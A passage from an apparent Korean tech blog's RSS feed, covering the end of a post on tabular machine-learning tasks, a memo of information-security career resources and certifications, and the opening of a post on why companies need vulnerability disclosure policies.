&lt;li&gt;&lt;b&gt;회귀(Regression)&lt;/b&gt;: 수치를 예측한다. 예) 집값 예측, 에너지 소비량 예측&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분류(Classification)&lt;/b&gt;: 카테고리를 예측한다. 예) 이탈 여부, 대출 부도 여부&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 &amp;mdash; 신용 점수(Credit Scoring)&lt;/b&gt;&lt;br /&gt;대출 신청자의 연체율, 신용 한도 활용률, 대출 기간, 조회 횟수 등을 바탕으로 &lt;b&gt;부도 위험도와 신용 점수&lt;/b&gt;를 예측한다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 이상 탐지 (Anomaly Detection)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정상 패턴에서 벗어난 이상한 데이터&lt;/b&gt;를 찾아내는 작업이다. 보통 비지도학습 방식이며, 정상 데이터는 많지만 이상 사례는 매우 적거나 아예 레이블이 없다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 &amp;mdash; 신용카드 사기 탐지&lt;/b&gt;&lt;br /&gt;평소 국내에서 소액 결제만 하던 카드가 갑자기 러시아에서 수백만 원짜리 전자제품 결제를 했다면? 이 거래가 이상 거래임을 자동으로 탐지한다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 클러스터링 (Clustering)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레이블(정답) 없이 &lt;b&gt;비슷한 데이터끼리 묶어주는&lt;/b&gt; 작업이다. 숨겨진 패턴이나 그룹 구조를 발견하는 데 쓰인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 &amp;mdash; 고객 세분화(Customer Segmentation)&lt;/b&gt;&lt;br /&gt;구매 금액, 방문 횟수, 온라인 구매 비율 등을 분석해 고객을 &quot;전자제품 구매 고가값 온라인족&quot;, &quot;식료품 구매 오프라인족&quot;, &quot;명품 구매 저빈도족&quot; 등으로 나눈다. 이후 각 그룹에 맞는 마케팅 전략을 짤 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 테이블 질의응답 (Table Question Answering)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자연어로 질문을 입력하면 테이블에서 답을 찾아주는 작업이다. 자연어 이해 능력과 테이블 논리 추론 능력이 함께 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 &amp;mdash; 사내 매출 분석 어시스턴트&lt;/b&gt;&lt;br /&gt;&quot;아시아 지역 3분기 매출 합계가 얼마야?&quot;라고 물으면, AI가 테이블을 조회해 &quot;$1,800&quot;이라고 답한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 대형 언어 모델(LLM)의 발전으로 이 작업이 크게 향상되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 합성 데이터 생성 (Synthetic Data Generation)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원본 데이터의 통계적 특성은 그대로 유지하면서도 &lt;b&gt;개인정보를 포함하지 않는 가짜 데이터&lt;/b&gt;를 만들어내는 작업이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 &amp;mdash; 프라이버시 보호 의료 데이터 공유&lt;/b&gt;&lt;br /&gt;실제 환자 데이터를 병원 외부에 제공하는 것은 법적으로 불가능하다. 하지만 원본과 통계적으로 동일한 가짜 환자 데이터를 생성한다면 연구자들이 자유롭게 활용할 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular 데이터는 &lt;b&gt;우리 주변 어디에나 존재&lt;/b&gt;한다. 기업이 수집하는 데이터의 상당수, 그리고 그 데이터를 기반으로 내리는 의사결정의 대부분이 바로 이 행과 열의 표 형식을 띤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉬워 보이지만 이질적인 특성, 결측값, 불균형, 소규모 데이터 등 독특한 어려움을 안고 있다. 이 때문에 Tabular ML은 이미지나 텍스트와는 전혀 다른 접근법이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2편에서는 실제로 Tabular 데이터를 가지고 &lt;b&gt;머신러닝 모델을 학습시키는 전체 과정&lt;/b&gt;, 즉 데이터 수집부터 모델 배포까지의 파이프라인을 살펴본다. 또한 전처리 기법, 평가 지표, 그리고 모델의 예측을 해석하는 방법까지 다룬다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>AI/ML&amp;amp;DL</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/256</guid>
      <comments>https://noong2.tistory.com/256#entry256comment</comments>
      <pubDate>Wed, 24 Jun 2026 04:15:22 +0900</pubDate>
    </item>
    <item>
      <title>정보보안 취업하기 메모장</title>
      <link>https://noong2.tistory.com/255</link>
      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 205px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;tbody&gt;&lt;tr style=&quot;height: 22px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 22px;&quot;&gt;&lt;a href=&quot;https://hackgem.io/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;Hackgem&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 22px;&quot;&gt;실사례 중심의 사이버 보안교육으로 전문 보안인력을 양성하는 교육 플랫폼&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 17px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 17px;&quot;&gt;&lt;a href=&quot;https://www.kitri.re.kr/kitri/main&quot; target=&quot;_self&quot;&gt;&lt;span&gt;KITRI&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 17px;&quot;&gt;한국정보기술연구원 구 BOB, 화이트햇 주관처&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 17px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 17px;&quot;&gt;&lt;a href=&quot;https://kisia.or.kr/talent_support/education_apply/submit/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;한국정보보호산업협회&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 17px;&quot;&gt;한국정보보호산업협회&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 22px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 22px;&quot;&gt;&lt;a href=&quot;https://kcryptoforum.or.kr/web/index.do&quot; target=&quot;_self&quot;&gt;&lt;span&gt;한국암호포럼&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 22px;&quot;&gt;국가&amp;nbsp;암호기술&amp;nbsp;전문인력&amp;nbsp;양성과정,&amp;nbsp;등&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 17px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 17px;&quot;&gt;&lt;a href=&quot;https://www.cisc.or.kr/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;한국정보보호학회 한국정보보호학회 하계학술대회&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 17px;&quot;&gt;한국정보보호학회 학술대회&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 22px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 22px;&quot;&gt;&lt;a href=&quot;https://hackingcamp.org/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;해킹캠프&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 22px;&quot;&gt;해킹과&amp;nbsp;보안에&amp;nbsp;관심을&amp;nbsp;가지고&amp;nbsp;있는&amp;nbsp;국내&amp;nbsp;학생들을&amp;nbsp;위해&amp;nbsp;국제&amp;nbsp;해킹·보안&amp;nbsp;컨퍼런스&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 22px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 22px;&quot;&gt;&lt;a href=&quot;https://academy.kisa.or.kr/index.do&quot; target=&quot;_self&quot;&gt;&lt;span&gt;KISA 아카데미-교육포털&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 22px;&quot;&gt;KISA 아카데미 - BOB, 화이트햇, 실전형 보안 실습, 케쉴주, 등&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 22px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 22px;&quot;&gt;&lt;a href=&quot;https://findthegap.co.kr/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;https://findthegap.co.kr/&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 22px;&quot;&gt;파인더갭, 버그 바운티, CVD&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 44px;&quot;&gt;&lt;td style=&quot;width: 26.4728%; height: 44px;&quot;&gt;&lt;a href=&quot;https://academy.kisa.or.kr/edu/bbs/selectArticleList.do?bbsId=BBSMSTR_000000000191&quot; target=&quot;_self&quot;&gt;&lt;span&gt;KISA 아카데미-교육신청 : 정보보안 채용정보&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%; height: 44px;&quot;&gt;주간 정보보안 채용 정보&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;width: 26.4728%;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;해커들의 놀이터, Dreamhack&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%;&quot;&gt;드림핵, 워게임, CTF&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;width: 26.4728%;&quot;&gt;&lt;a href=&quot;https://github.com/brave-people/Dev-Event&quot; target=&quot;_self&quot;&gt;&lt;span&gt;brave-people/Dev-Event:   개발자 {웨비나, 컨퍼런스, 해커톤} 행사를 알려드립니다. [with 남송리 삼번지]&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;width: 62.8682%;&quot;&gt;개발자&amp;nbsp;{웨비나,&amp;nbsp;컨퍼런스,&amp;nbsp;해커톤}&amp;nbsp;행사&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;https://youtu.be/zksRu6x8ZKU?si=mpotKJloP1udrzb1&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://youtu.be/zksRu6x8ZKU?si=mpotKJloP1udrzb1&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://youtu.be/zksRu6x8ZKU?si=mpotKJloP1udrzb1&quot; target=&quot;_self&quot;&gt;&lt;span&gt;https://youtu.be/zksRu6x8ZKU?si=mpotKJloP1udrzb1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignLeft&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=zksRu6x8ZKU&quot; data-video-thumbnail=&quot;https://blog.kakaocdn.net/dna/R5CLN/dJMb81G6PkF/AAAAAAAAAAAAAAAAAAAAAH5QZUIKJOrYqe_8pgAj5NOHCvSqxBkifQHoHBPtRDc-/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1782831599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=Eqf%2BkasKO68%2BCP8toZj4eODDApU%3D&quot; data-video-width=&quot;860&quot; data-video-height=&quot;645&quot; data-video-origin-width=&quot;480&quot; data-video-origin-height=&quot;360&quot; data-video-title=&quot;정보보안 취업준비생에 드리는 조언&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/zksRu6x8ZKU&quot; width=&quot;860&quot; height=&quot;645&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;br&gt;&lt;a href=&quot;https://youtu.be/IanhqUBv6f8?si=vWnqvgCnYxfZx2fm&quot; target=&quot;_self&quot;&gt;&lt;span&gt;https://youtu.be/IanhqUBv6f8?si=vWnqvgCnYxfZx2fm&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignLeft&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=IanhqUBv6f8&quot; data-video-thumbnail=&quot;https://blog.kakaocdn.net/dna/jXGNA/dJMb8T9841y/AAAAAAAAAAAAAAAAAAAAACGQk5PQhPM8MI3OEj8Q5UsVNQr5et9TehfJPnxmz_hl/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1782831599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=7xPpr411MU6BBnu4XHC4JuoTsUA%3D&quot; data-video-width=&quot;860&quot; data-video-height=&quot;645&quot; data-video-origin-width=&quot;480&quot; data-video-origin-height=&quot;360&quot; data-video-title=&quot;정보보안전문가취업시알아야할 것&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/IanhqUBv6f8&quot; width=&quot;860&quot; height=&quot;645&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;br&gt;&lt;a href=&quot;https://youtu.be/k-auqbDYOl8?si=sJ8yYG_Ra8vNK2Jg&quot; target=&quot;_self&quot;&gt;&lt;span&gt;https://youtu.be/k-auqbDYOl8?si=sJ8yYG_Ra8vNK2Jg&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignLeft&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=k-auqbDYOl8&quot; data-video-thumbnail=&quot;https://blog.kakaocdn.net/dna/cSmo9p/dJMb8VNE2Ps/AAAAAAAAAAAAAAAAAAAAAF7VqS6pBBr6V7dQb4lxjxQRK0vgaTnEs6pxtMPO3c57/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1782831599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=fkJj4CkVuvgsCfnbOTeTQq7M9NQ%3D&quot; data-video-width=&quot;860&quot; data-video-height=&quot;645&quot; data-video-origin-width=&quot;480&quot; data-video-origin-height=&quot;360&quot; data-video-title=&quot;인생계획수립&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/k-auqbDYOl8&quot; width=&quot;860&quot; height=&quot;645&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;br&gt;&lt;a href=&quot;https://blog.naver.com/limhojin123/221210186366&quot; target=&quot;_self&quot;&gt;&lt;span&gt;https://blog.naver.com/limhojin123/221210186366&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;나의 가장 강력한 무기는 자료관리입니다.(1편)&quot; data-ke-align=&quot;alignLeft&quot; data-og-description=&quot;요즘은 인터넷이 하도 좋아서 웬만한 자료는 인터넷에 다 있습니다. 단, 어떤 용어를 써서 검색할지 모르는...&quot; data-og-host=&quot;blog.naver.com&quot; data-og-source-url=&quot;https://blog.naver.com/limhojin123/221210186366&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/8dDYv/dJMb82MMwk8/AAAAAAAAAAAAAAAAAAAAAIHANLI5YSxGd5ymnZHHCLSrZsmT_zoG2brfGfKPEMxQ/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1782831599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=ASALMMzt1%2FOa7BvGCWSXvmwtVHw%3D&quot; data-og-url=&quot;https://blog.naver.com/limhojin123/221210186366&quot;&gt;&lt;a href=&quot;https://blog.naver.com/limhojin123/221210186366&quot; target=&quot;_blank&quot; data-source-url=&quot;https://blog.naver.com/limhojin123/221210186366&quot;&gt;&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/8dDYv/dJMb82MMwk8/AAAAAAAAAAAAAAAAAAAAAIHANLI5YSxGd5ymnZHHCLSrZsmT_zoG2brfGfKPEMxQ/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1782831599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=ASALMMzt1%2FOa7BvGCWSXvmwtVHw%3D')&quot;&gt; &lt;/div&gt;&lt;div class=&quot;og-text&quot;&gt;&lt;p class=&quot;og-title&quot;&gt;나의 가장 강력한 무기는 자료관리입니다.(1편)&lt;/p&gt;&lt;p class=&quot;og-desc&quot;&gt;요즘은 인터넷이 하도 좋아서 웬만한 자료는 인터넷에 다 있습니다. 단, 어떤 용어를 써서 검색할지 모르는...&lt;/p&gt;&lt;p class=&quot;og-host&quot;&gt;blog.naver.com&lt;/p&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;주요 정보통신기반취약점진단 스크립트 작성하기 (진단 보고서 포함)&lt;br&gt;jsp, php 이용하여 생으로 포트폴리오 홈페이지 구축하기&lt;br&gt;버그바운티 경험해보기 (중복신고 포함)&lt;br&gt;프로그래머스 코딩 배우기&lt;br&gt;자격증 취득 CPPG, 정보기, CISSP, 등등&lt;br&gt;동종업계 사람들의 경험과 이력들 찾아보기&lt;br&gt;기업에서 요구하는 요건 분석하기:&lt;/p&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;정적 / 동적 취약점 분석(SAST/DAST 상용 도구 사용)&lt;br&gt;오픈소스(SBOM) 취약점 분석&lt;br&gt;취약점 자동 진단 서비스(DAST / SAST) 개발 및 운영&lt;br&gt;SDLC 단계별 보안 강화 업무 (DevSecOps 관점)&lt;br&gt;&lt;br&gt;정보보안은 IT의 전분야를 알아야 하는만큼 진입장벽이높다. 개발이든 컨설팅이든 모의해킹 취약점분석 관제 법 등등 거부감없이 공부하는것은 필수이다. 단순 코딩하기 싫다고 컨설팅이나 관제쪽으로 빠진다면 오래 살아남기 힘들다.&lt;br&gt;&lt;br&gt;정보보안기사 공부는 나에게 이론을 익히는데 정말 도움이 되었다. 항상 암기하던 OSI7계층이 보안관점에서 공부하니 눈에 보이게 된것이었다. 취득하든 안하든 실무에 도움이 없든 교과서로 꾸준히 읽어보는게 중요한것같다.&lt;br&gt;&lt;br&gt;AWS Security 취득하여 CISSP 1년 면제가 가능하다. 실무경력 2년과 군 경력 합쳐도 1년이 더 필요하다. 하지만 유효기간이 있기때문에 2029년 내 경력을 채울수 있을까&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;</description>
      <category>Career</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/255</guid>
      <comments>https://noong2.tistory.com/255#entry255comment</comments>
      <pubDate>Fri, 19 Jun 2026 23:19:40 +0900</pubDate>
    </item>
    <item>
      <title>[버그헌팅과정 초급,  CVD&amp;middot;VDP 시범사업] 취약점 공개 정책 (VDP)</title>
      <link>https://noong2.tistory.com/253</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0ngvQ/dJMcahrg03C/FVDG9n3cDENQ2Xywtm8aA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0ngvQ/dJMcahrg03C/FVDG9n3cDENQ2Xywtm8aA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0ngvQ/dJMcahrg03C/FVDG9n3cDENQ2Xywtm8aA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0ngvQ%2FdJMcahrg03C%2FFVDG9n3cDENQ2Xywtm8aA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;381&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;&quot;이웃의 뒷문이 열려있는 걸 우연히 알았다면 어떻게 할 것인가?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;물리적인 현실 세계라면, 지나가던 선량한 이웃은 주저 없이 초인종을 누르고 &quot;뒷문이 열려 있으니 문을 닫으라&quot;고 알려줄 것이다. 집주인 역시 고마움을 표할 것이다. 하지만 사이버 공간에서는 이 상식이 통하지 않는다. 선의를 품고 타겟 기업의 보안 취약점을 발견하여 제보하는 행위가, 자칫 '불법 해킹'이나 '영업 방해'로 간주되어 고소장으로 되돌아오는 모순이 빈번하게 발생하기 때문이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;버그헌팅과 모의 해킹을 공부하는 수강생의 관점에서, VDP가 왜 단순한 행정 서류가 아니라 기업의 운명을 가를 수 있는 보안의 핵심 인프라인지 강의 내용을 바탕으로 깊이 있게 정리해 보았다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size23&quot;&gt;1. VDP의 부재: 방치되는 선의, 커지는 보안 공백&lt;/h3&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;연구자들은 특정 기업 서비스에서 치명적인 취약점을 발견했음에도 불구하고, 이를 알릴 창구가 없어 공식 트위터 계정에 대고 &quot;제발 보안 취약점을 제보할 담당자 이메일 좀 알려달라&quot;며 호소하고 있었다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;VDP가 구축되지 않은 기업을 상대로 취약점을 제보하는 과정은 지뢰밭을 걷는 것과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;소통 채널의 단절:&lt;/b&gt; 홈페이지 어디를 뒤져봐도 security@company.com과 같은 공식 보안 제보 창구가 없다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;보고의 블랙홀:&lt;/b&gt; 일반 고객센터나 대표 메일로 취약점 리포트를 보내봤자, 해당 내용이 기술적 이해도가 없는 상담원을 거치다 누락되거나 보안 담당자에게 제대로 전달되었는지 확인할 길이 없다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,2,0&quot;&gt;법적 리스크의 공포:&lt;/b&gt; 무엇보다 &quot;내가 이 취약점을 테스트했다는 사실 자체로 정보통신망법 위반으로 고소당하지는 않을까?&quot; 하는 두려움이 제보자를 위축시킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;이러한 정책의 부재는 결국 치명적인 결과로 이어진다. 제보 과정의 번거로움과 법적 리스크에 지친 화이트해커들은 결국 제보를 포기하고 침묵한다. 기관은 자신의 시스템에 존재하는 치명적인 취약점을 파악할 기회를 영영 잃게 되며, 훗날 이 취약점이 블랙해커의 손에 들어가 다크웹에서 거래되거나 랜섬웨어 공격의 통로로 유출되는 끔찍한 결말을 맞이하게 된다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size23&quot;&gt;2. 거스를 수 없는 글로벌 트렌드: 해커를 아군으로 만들다&lt;/h3&gt;
